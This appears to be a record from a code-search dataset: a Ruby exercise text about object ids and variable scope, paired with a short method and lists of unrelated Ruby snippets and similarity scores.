:same_piece_count=\n\t\t\t\tundef :difference_ids=\n\t\t\tend\n\t\tend", "def __id; @id || @obj.id; end", "def identifier\n return @identifier unless @identifier.is_a?(BNode)\n if @identifier.equal?(self)\n # Generate from the sequence a..zzz, unless already taken\n @@next_generated = @@next_generated.succ while @@named_nodes.has_key?(@@next_generated)\n @identifier, @@next_generated = @@next_generated, @@next_generated.succ\n else\n # Previously allocated node\n @identifier = @identifier.identifier\n end\n @identifier\n end", "def reapply_blocks\n @reapply_blocks ||= []\n end", "def owner=(v); end", "def test_resetting_walker\n oid = \"8496071c1b46c854b31185ea97743be6a8774479\"\n @walker.push(oid)\n walk = @walker.each.to_a\n assert_equal oid, walk[0].oid\n assert_equal 1, walk.count\n @walker.reset\n walk = @walker.each.to_a\n assert_equal 0, walk.count\n end", "def dup\n\n # duplicate self\n rta = super\n\n # iterate through array and dup each hash\n rta.each_with_index do |w_hash, index|\n\n # dup the hash at this index\n rta[index] = w_hash.dup\n\n # to be complete, also dup the key/values in the hash, in case another hash/array is nested\n w_hash.each_pair do |k, v|\n rta[index][k] = v.dup if v.is_a? Hash\n end\n end\n\n # now everything should have new object_id's\n rta\n end", "def reset_positions_inside\n @atoms.each do |atom|\n coords = atom.position\n atom.set_position(coords.map {|coord| coord - coord.floor}.to_a.to_v3di)\n end\n end", "def test_nesting_behavior_simple_within_method\n Fluid.let([:a, 1]) {\n assert_equal(1, Fluid.a)\n Fluid.let {\n assert_equal(1, Fluid.a)\n Fluid.let([:a, 2]) {\n assert_equal(2, Fluid.a)\n }\n assert_equal(1, Fluid.a)\n }\n assert_equal(1, Fluid.a)\n }\n end", "def temporary_id\n @temporary_id ||= id || \"t#{self.__id__}\"\n end", "def object_ref\n @objects += 1\n end", "def set_original()\n\n for i in 0..3\n\n @original.key?(\"#{@code[i]}\") ? @original[@code[i]] += 1 : @original[@code[i]] = 1\n\n end\n\n end", "def next_object_id\n\t\t\t@@object_count += 1\n\t\tend", "def modify_values!\n each_with_object self do |hash_pair, ꜧ|\n ꜧ[ hash_pair[0] ] = yield( hash_pair )\n end\n end", "def new_id\n @last_id ||= 0\n @last_id += 1\n end", "def new_id\n @last_id ||= 0\n @last_id += 1\n end", "def old_couple\n @old_couple = @students_id - @pair\n @students_id.delete(@pair)\n end", "def reopen_object(id)\n @stack << { :contents => @current_contents, :page => @current_page }\n @current_contents = id\n # if this object is the primary contents for a page, then set the\n # current page to its parent\n @current_page = @current_contents.on_page unless @current_contents.on_page.nil?\n @current_contents\n end", "def initialize(id)\n @id = id\n @@all_blocks[id] = self\n end", "def freshen_parent_and_child_indexes\n freshen_parent_and_child_indexes(0)\n end", "def rearrange\n yield\n other = Tag.where(id: self.other_id).first\n operation = self.operation\n self.operation = self.other_id = nil\n\n begin\n case operation\n when 'nest_under'\n self.update_attribute :parent_id, other.id\n self.update_attribute :siblings_position, 0\n raise 'Cyclic nesting!' if other.parent_id == id\n when 'move_above'\n self.update_attribute :parent_id, other.parent_id\n self.update_attribute :siblings_position, other.calculated_siblings_position - 1\n when 'move_below'\n self.update_attribute :parent_id, other.parent_id\n self.update_attribute :siblings_position, other.calculated_siblings_position + 1\n end\n rescue\n self.errors.add :other_id, INVALID_TAG_OPERATION\n raise ActiveRecord::Rollback\n end\n end", "def new_state\n newID = @@nextID\n @@nextID += 1\n @state[newID] = true\n @transition[newID] = {}\n newID \n end", "def new_state\n newID = @@nextID\n @@nextID += 1\n @state[newID] = true\n @transition[newID] = {}\n newID \n end", "def new_state\n newID = @@nextID\n @@nextID += 1\n @state[newID] = true\n @transition[newID] = {}\n newID \n end", "def reset\n @blocks = @original_blocks\n end", "def original_values\n @original_values ||= {}\n end", "def sweep\n @now.replace(@next)\n @next = Hash.new\n @now\n end", "def _middle_copy(object)\n o = object.clone\n object.instance_variables.each do |k|\n v = object.instance_variable_get(k)\n o.instance_variable_set(k, v ? v.clone : v)\n end\n o\n end", "def correct_standards_pointed_to_missing_ref_ids(element)\n ref_id_map = {\n 'B1AC98EADE4145689E70EEEBD9B8CC19' => patch_duplicated_parent_ref_ids(element,'B1AC98EADE4145689E70EEEBD9B8CC18'),\n '834B17E279C64263AA83F7625F5D2994' => patch_duplicated_parent_ref_ids(element,'834B17E279C64263AA83F7625F5D2993'),\n '91FABAB899814C55851003A0EE98F8FC' => patch_duplicated_parent_ref_ids(element,'91FABAB899814C55851003A0EE98F8FB')\n }\n return unless (element.is_a?(Standard) and ref_id_map.keys.include?(element.parent_ref_id))\n element.instance_variable_set(:@parent_ref_id,ref_id_map[element.parent_ref_id])\n end", "def closure item_set\n\t\tresult = item_set\n\t\ttemp = nil\n\t\t#continue adding to closure set until it doesn't change\n\t\tuntil temp == result\n\t\t\t#create deep copy of temp\n\t\t\ttemp = Marshal.load(Marshal.dump(result))\n\t\t\ttemp.keys.each do |lhs|\n\t\t\t\ttemp[lhs].each do |rhs|\n\t\t\t\t\tif rhs.index(@marker)\n\t\t\t\t\t\tnext_val = rhs[rhs.index(@marker)+1]\n\t\t\t\t\t\tif non_terminals.include?(next_val)\n\t\t\t\t\t\t\t@production_rules[next_val].each do |rhs|\n\t\t\t\t\t\t\t\t#create temporary rhs so we don't modify the production rules with unshift\n\t\t\t\t\t\t\t\tt_rhs = rhs.clone\n\t\t\t\t\t\t\t\tt_rhs = t_rhs.unshift(@marker)\n\t\t\t\t\t\t\t\tif result[next_val]\n\t\t\t\t\t\t\t\t\tdup = false\n\t\t\t\t\t\t\t\t\tresult[next_val].each do |r|\n\t\t\t\t\t\t\t\t\t\tif r.eql?(t_rhs)\n\t\t\t\t\t\t\t\t\t\t\tdup = true\n\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tif !dup\n\t\t\t\t\t\t\t\t\t\tresult[next_val].push(t_rhs)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tresult[next_val] = [t_rhs]\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn result\n\tend", "def closure! \n\t\ttemp = new_state\n\t\tadd_transition(temp, @start, \"\")\n\t\t@start = temp\n\t\ttemp = new_state\n\t\t@final.keys.sort.each { |x| \n\t\tadd_transition(x, temp, \"\") \n\t\tset_final(x, false) }\n\t\t\n\t\t@final = {temp=>true}\n\t\tadd_transition(@start, temp, \"\")\n\t\tadd_transition(temp, @start, \"\")\n\t\t@state.delete(nil)\n\t\t@transition.delete(nil)\n end", "def tricky_method(my_string_param, an_array_param)\n puts \"my_string_param inside the method #{my_string_param.object_id}\"\n my_string_param += \"rutabaga\"\n puts \"my_string_param inside the method after re-assignment #{my_string_param.object_id}\"\n puts\n puts \"an_array_param inside the method before mutation #{an_array_param.object_id}\"\n an_array_param << \"rutabaga\"\n puts \"an_array_param inside the method after mutation #{an_array_param.object_id}\"\nend", "def create_next_round(bracket_id, entrants_array)\n # Of a given array of game_sets, create next round (next_round)\n # with the entrants provided\n\n next_round = Round.create(\n bracket_id: bracket_id,\n round_number: self.round_number - 1\n )\n\n prev_rnd_games = self.game_sets\n copy_games = prev_rnd_games.clone\n\n # Must determine if round is final or not\n if next_round.round_number == 1 # next_round is last round, Base Case\n ## make limited-amount-to-all game_sets\n amount_of_prev_games = prev_rnd_games.length\n # entrants_array = self.bracket.tournament.teams\n amount_of_games_to_make = (entrants_array.length/2.to_f).ceil - amount_of_prev_games\n\n # Check if below halfway to prev_rnd_games amount\n if (amount_of_prev_games/2.to_f).ceil > amount_of_games_to_make\n incrementer = (amount_of_prev_games/amount_of_games_to_make.to_f).ceil\n index = 0\n while amount_of_games_to_make > 0\n # add children\n one_game_set = prev_rnd_games[index]\n # puts entrants_array.length\n if amount_of_games_to_make == 1 && entrants_array.length.odd?\n left_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n # byebug\n ent_array = entrants_array.to_a.shuffle\n one_game_set.update(team_2_id: ent_array.shift()[\"id\"])\n\n copy_games = copy_games.map { |game_set| game_set.id == one_game_set.id ? left_node : game_set }\n else\n left_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n right_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n copy_games = copy_games.flat_map { |game_set| game_set.id == one_game_set.id ? [left_node, right_node] : game_set }\n end\n amount_of_games_to_make -= 1\n index += incrementer\n end\n else # above half\n incrementer = 2\n index = 0\n while index <= amount_of_prev_games - 1\n # add children\n one_game_set = prev_rnd_games[index]\n if amount_of_games_to_make == 1 && entrants_array.length.odd?\n left_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n # byebug\n ent_array = entrants_array.to_a.shuffle\n one_game_set.update(team_2_id: ent_array.shift()[\"id\"])\n\n copy_games = copy_games.map { |game_set| game_set.id == one_game_set.id ? left_node : game_set }\n else\n left_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n right_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n copy_games = copy_games.flat_map { |game_set| game_set.id == one_game_set.id ? [left_node, right_node] : game_set }\n end\n amount_of_games_to_make -= 1\n index += incrementer\n end\n # Go back and add the remaining games\n index = 1\n while amount_of_games_to_make > 0\n # add children\n one_game_set = prev_rnd_games[index]\n if amount_of_games_to_make == 1 && entrants_array.length.odd?\n left_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n # byebug\n ent_array = entrants_array.to_a.shuffle\n one_game_set.update(team_2_id: ent_array.shift()[\"id\"])\n\n copy_games = copy_games.map { |game_set| game_set.id == one_game_set.id ? left_node : game_set }\n else\n left_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n right_node = GameSet.create(parent_id: one_game_set.id, round_id: next_round.id)\n copy_games = copy_games.flat_map { |game_set| game_set.id == one_game_set.id ? [left_node, right_node] : game_set }\n end\n\n amount_of_games_to_make -= 1\n index += incrementer\n end\n end\n puts copy_games\n # return copy_games\n shuffled_entrants = ((ent_array && ent_array.shuffle) || entrants_array.shuffle)\n copy_games.each do |game_set|\n # puts shuffled_entrants.length\n game_set.update(\n team_1_id: shuffled_entrants.shift()[\"id\"],\n team_2_id: shuffled_entrants.shift()[\"id\"]\n )\n end\n puts \"worked\"\n\n\n else\n ## fill all next_round's game_sets with children\n prev_rnd_games.each do |game_set|\n left_node = GameSet.create(parent_id: game_set.id, round_id: next_round.id)\n right_node = GameSet.create(parent_id: game_set.id, round_id: next_round.id)\n end\n ## recursive call\n return next_round.create_next_round(bracket_id, entrants_array)\n end\n\n end", "def reset_main_generator\n @main_generator =\n if @right_generator.length > @left_generator.length\n @right_generator\n else\n @left_generator\n end\n end", "def test_expression_clone_named_group\n root = RP.parse('^(?<somename>a)+bc$')\n copy = root.clone\n\n root_1 = root.expressions[1]\n copy_1 = copy.expressions[1]\n\n # The names are equal but their objects are not.\n assert_equal copy_1.name, root_1.name\n refute_equal copy_1.name.object_id, root_1.name.object_id\n\n # Verify super: text objects should be different.\n assert_equal copy_1.text, root_1.text\n\n # Verify super: expressions arrays are not equal.\n refute_equal copy_1.expressions.object_id,\n root_1.expressions.object_id\n\n # Verify super: expressions in the arrays are not equal.\n copy_1.expressions.each_with_index do |exp, index|\n refute_equal exp.object_id,\n root_1.expressions[index].object_id\n end\n end", "def set_data_for_current_iteration\n @current_block_number = @last_processed_block_number + 1\n @block_data_response = {}\n @highest_block_number = nil\n @current_block_hash, @block_creation_timestamp = nil, nil\n @transactions = nil\n end", "def get_blocks\n @blocks[0].x = @x\n @blocks[1].x = @x\n @blocks[2].x = @x\n @blocks[3].x = @x\n @blocks[0].y = @y\n @blocks[1].y = @blocks[0].y + @blocks[0].height\n @blocks[2].y = @blocks[1].y + @blocks[1].height\n @blocks[3].y = @blocks[2].y + @blocks[2].height\n \n apply_rotation\n \n @blocks.each { |block| block.color = 0xffb2ffff }\n end", "def assign_teams_in_bracket(num_rooms, teams, sorted_chairs, sorted_wings, rooms, round, format)\n\t\t teams_left = teams.count; #we start with all teams in bracket left\n\t\t teams.shuffle(); #important to shuffle the bracket\n\n\t\t #THIS IS WHERE WE NEED LOGIC TO PLACE GROUPS OF TEAMS WHICH HAVE COMPLIMENTARY POSITION PREFERENCES\n\n\t\t while(teams_left > 0) #while teams left to allocate\n\t\t assign_room_for_bracket(num_rooms, \n\t\t \t\t\t\t\t\t\t\tteams.pop(GlobalConstants::FORMAT[format][:num_teams_per_room]), \n\t\t \t\t\t\t\t\t\t\tsorted_chairs, sorted_wings, rooms, round, format); #do a room assignment\n\t\t teams_left = teams_left - GlobalConstants::FORMAT[format][:num_teams_per_room]; #lost n teams to room\n\t\t end\n\t\t end", "def fix_numerals\n hash = self.clone\n traverse hash\n hash\n end", "def merge_outages(srcdst2outage, srcdst2filter_tracker)\n # TODO should freeze these objects\n outages = srcdst2outage.values\n # Assign unique ids to outages\n @outage_store.transaction do\n outages.each do |outage|\n outage.file = @outage_store.generate_unique_id\n end\n end\n\n # nested helper closure\n allocate_merged_outage = lambda do |outage_list, merging_method|\n id = nil\n merged_outage = nil\n # Generate a unique id\n @merged_outage_store.transaction do\n id = @merged_outage_store.generate_unique_id \n merged_outage = MergedOutage.new(id, outage_list, merging_method)\n end\n outage_list.each do |outage|\n src = outage.src\n dst = outage.dst\n srcdst2filter_tracker[[src,dst]].merged_outage_ids << id\n end\n\n # last statement is the map value\n merged_outage\n end\n \n # Note: bidirectional will appear twice, in forward mergings and reverse\n # mergings\n only_forward = outages.find_all { |o| o.direction.is_forward? }\n dst2outages = only_forward.categorize_on_attr(:dst) \n # Abuse of map... \n forward_merged = dst2outages.values.map do |outage_list|\n allocate_merged_outage.call(outage_list, MergingMethod::FORWARD)\n end\n\n only_reverse = outages.find_all { |o| o.direction.is_reverse? }\n src2outages = only_reverse.categorize_on_attr(:src)\n # Abuse of map... \n reverse_merged = src2outages.values.map do |outage_list|\n allocate_merged_outage.call(outage_list, MergingMethod::REVERSE)\n end\n\n # For debugging. TODO: put me into unit tests instead of here.\n forward_src_dsts = Set.new(forward_merged.map { |merged| merged.map { |o| {:src => o.src, :dst => o.dst} } }.flatten)\n reverse_src_dsts = Set.new(reverse_merged.map { |merged| merged.map { |o| {:src => o.src, :dst => o.dst} } }.flatten)\n all_outages = Set.new(outages.find_all { |o| o.direction.is_forward? or o.direction.is_reverse? }.map { |o| {:src => o.src, :dst => o.dst} })\n if (forward_src_dsts | reverse_src_dsts).size != all_outages.size\n # forward U reverse mergings should contain every (src, dst) pair\n # TODO: raise rather than log?\n @logger.warn { \"Not merging properly! [#{forward_src_dsts.to_a.inspect} #{reverse_src_dsts.to_a.inspect} #{all_outages.to_a.inspect}]\" }\n end\n \n return forward_merged + reverse_merged\n end", "def block_reference_count=(_arg0); end", "def modify_values\n each_with_object self.class.new do |hash_pair, ꜧ|\n ꜧ[ hash_pair[0] ] = yield( hash_pair )\n end\n end", "def next_id\n @imutex.synchronize do\n @mid += 1\n end\n end", "def eclosure(t)\n stack = Array(t)\n seen = {}\n children = []\n\n until stack.empty?\n s = stack.pop\n next if seen[s]\n\n seen[s] = true\n children << s\n\n stack.concat(inverted[s][nil])\n end\n\n children.uniq\n end", "def reset!\n @latest_block_number = nil\n end", "def inglobe_surrounded_blocks(plates)\n\tn_plates = number_of_plates(plates)\n\tn_plates.times do |plaque_index|\n\t\tlog \"considering for inglobation #{plaque_index}\"\n\t\tall_points = points_of_the_plate(plates,plaque_index)\t\t\n\t\tif all_points.count>0\t\t\t\t\t\t\n\t\t\tparent = container_inglobing_points(plates,all_points)\n\t\t\tif parent\n\t\t\t\t# ok, inglobe\n\t\t\t\tlog \"Going to inglone #{plaque_index} in #{parent}\"\n\t\t\t\tall_points.each {|p| x,y=p; plates.set(x,y,parent)}\n\t\t\tend\n\t\tend\n\tend\nend", "def deep_dup()\n # avoid validation by using a empty Hash for the intial value.\n c = Data.new({})\n c.instance_variable_set(:@root, deep_dup_value(@root))\n c\n end", "def store_current\n locations = @current_block.current_rotation\n displacement = @current_block.position\n # stores each \"subblock\" of each tetris object. Now as all the number of all subblocks are not all equal to four we have to change it \n (0..(locations.length - 1)).each{|index| \n current = locations[index];\n @grid[current[1]+displacement[1]][current[0]+displacement[0]] = \n @current_pos[index]\n }\n remove_filled\n @delay = [@delay - 2, 80].max\n end", "def test_clone_creates_a_different_object\n obj = Object.new\n copy = obj.clone\n\n assert_equal true, obj != copy\n assert_equal true, obj.object_id != copy.object_id\n end", "def _reduce_484(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend" ]
[ "0.81934536", "0.81677824", "0.8165855", "0.81595045", "0.8132096", "0.8007693", "0.79665035", "0.78485155", "0.77069616", "0.7555854", "0.7553532", "0.74872124", "0.7213446", "0.7139801", "0.7138095", "0.6308421", "0.5554547", "0.53211415", "0.526074", "0.5165782", "0.49417546", "0.49132505", "0.4691121", "0.4685303", "0.44745106", "0.4467504", "0.44371855", "0.43796816", "0.43757024", "0.43216345", "0.427304", "0.42562824", "0.4248207", "0.42418385", "0.4224971", "0.41679558", "0.4167032", "0.41652164", "0.41620305", "0.41505873", "0.41434872", "0.41187024", "0.41186", "0.4089564", "0.40846187", "0.4078822", "0.40536803", "0.4053031", "0.404317", "0.40376076", "0.40319696", "0.4022304", "0.39982823", "0.39969248", "0.3996053", "0.3984445", "0.3976401", "0.39762852", "0.39751366", "0.39505678", "0.39424947", "0.39406064", "0.393926", "0.39342973", "0.39342973", "0.39255938", "0.39207873", "0.3919956", "0.3915111", "0.39149797", "0.39147866", "0.39147866", "0.39147866", "0.3906305", "0.39007893", "0.38993344", "0.38874874", "0.3885948", "0.3885363", "0.38831133", "0.38827258", "0.38723165", "0.38718244", "0.38651696", "0.38650653", "0.38635123", "0.38634413", "0.38527665", "0.3847439", "0.38447213", "0.38390633", "0.38385573", "0.38351429", "0.38257858", "0.38248098", "0.38244382", "0.38237333", "0.3818734", "0.38164258" ]
0.71995705
14
=> a_outer is 42 with an id of: 85 before the block. => b_outer is forty two with an id of: 22190320 before the block. => c_outer is [42] with an id of: 22190300 before the block. => d_outer is 42 with an id of: 85 before the block. => a_outer id was 85 before the method and is: 85 inside the method. => b_outer id was 22190320 before the method and is: 22190320 inside the method. => c_outer id was 22190300 before the method and is: 22190300 inside the method. => d_outer id was 85 before the method and is: 85 inside the method. => a_outer inside after reassignment is 22 with an id of: 85 before and: 45 after. => b_outer inside after reassignment is thirty three with an id of: 22190320 before and: 22189600 after. => c_outer inside after reassignment is [44] with an id of: 22190300 before and: 22189580 after. => d_outer inside after reassignment is 44 with an id of: 85 before and: 89 after. => a_inner is 22 with an id of: 45 inside the method (compared to 45 for outer). => b_inner is thirty three with an id of: 22189600 inside the method (compared to 22189600 for outer). => c_inner is [44] with an id of: 22189580 inside the method (compared to 22189580 for outer). => d_inner is 44 with an id of: 89 inside the method (compared to 89 for outer). => a_outer is 42 with an id of: 85 BEFORE and: 85 AFTER the method call. => b_outer is forty two with an id of: 22190320 BEFORE and: 22190320 AFTER the method call. => c_outer is [42] with an id of: 22190300 BEFORE and: 22190300 AFTER the method call. => d_outer is 42 with an id of: 85 BEFORE and: 85 AFTER the method call. => ugh ohhhhh => ugh ohhhhh => ugh ohhhhh => ugh ohhhhh Wow, look at that. Even though we changed the values of our "outer" variables inside the method call, we still have the same values and the same object id's down here AFTER the method call as we had before it! This is because our method call accepts VALUES as parameters. The names we give to those values in the definition of our method are SEPARATE from any other use of those same names. We used the same names there for convenience (and admittedly to build some suspense and allow us to clarify this point). We could just as easily have called the first parameter of our method definition a_Fred instead of a_outer. The method gets the VALUES of the parameters we pass, but the parameter variables inside the method have no other relationship to those outside of the method. The names were coincidental, and confusing in a useful way. Our main method STILL has no access to variables that are defined inside of the method. Question 3
def tricky_method(a_string_param, an_array_param) a_string_param += "rutabaga" an_array_param << "rutabaga" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fun_with_ids2\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # object_id of the literal 42\n b_outer_id = b_outer.object_id # object_id of the string \"forty two\"\n c_outer_id = c_outer.object_id # object_id of the array [42]\n d_outer_id = d_outer.object_id # object_id of the literal 42\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id,\n b_outer_id, c_outer_id, d_outer_id)\n\n # reassignment doesn't mutate the caller. we expect same results as in 140-143:\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n # trying to access method local variables from outside... hence \"ugh ohhhhh\"\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n puts\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n puts\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\"\n puts\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n puts\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\\n\\n\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: 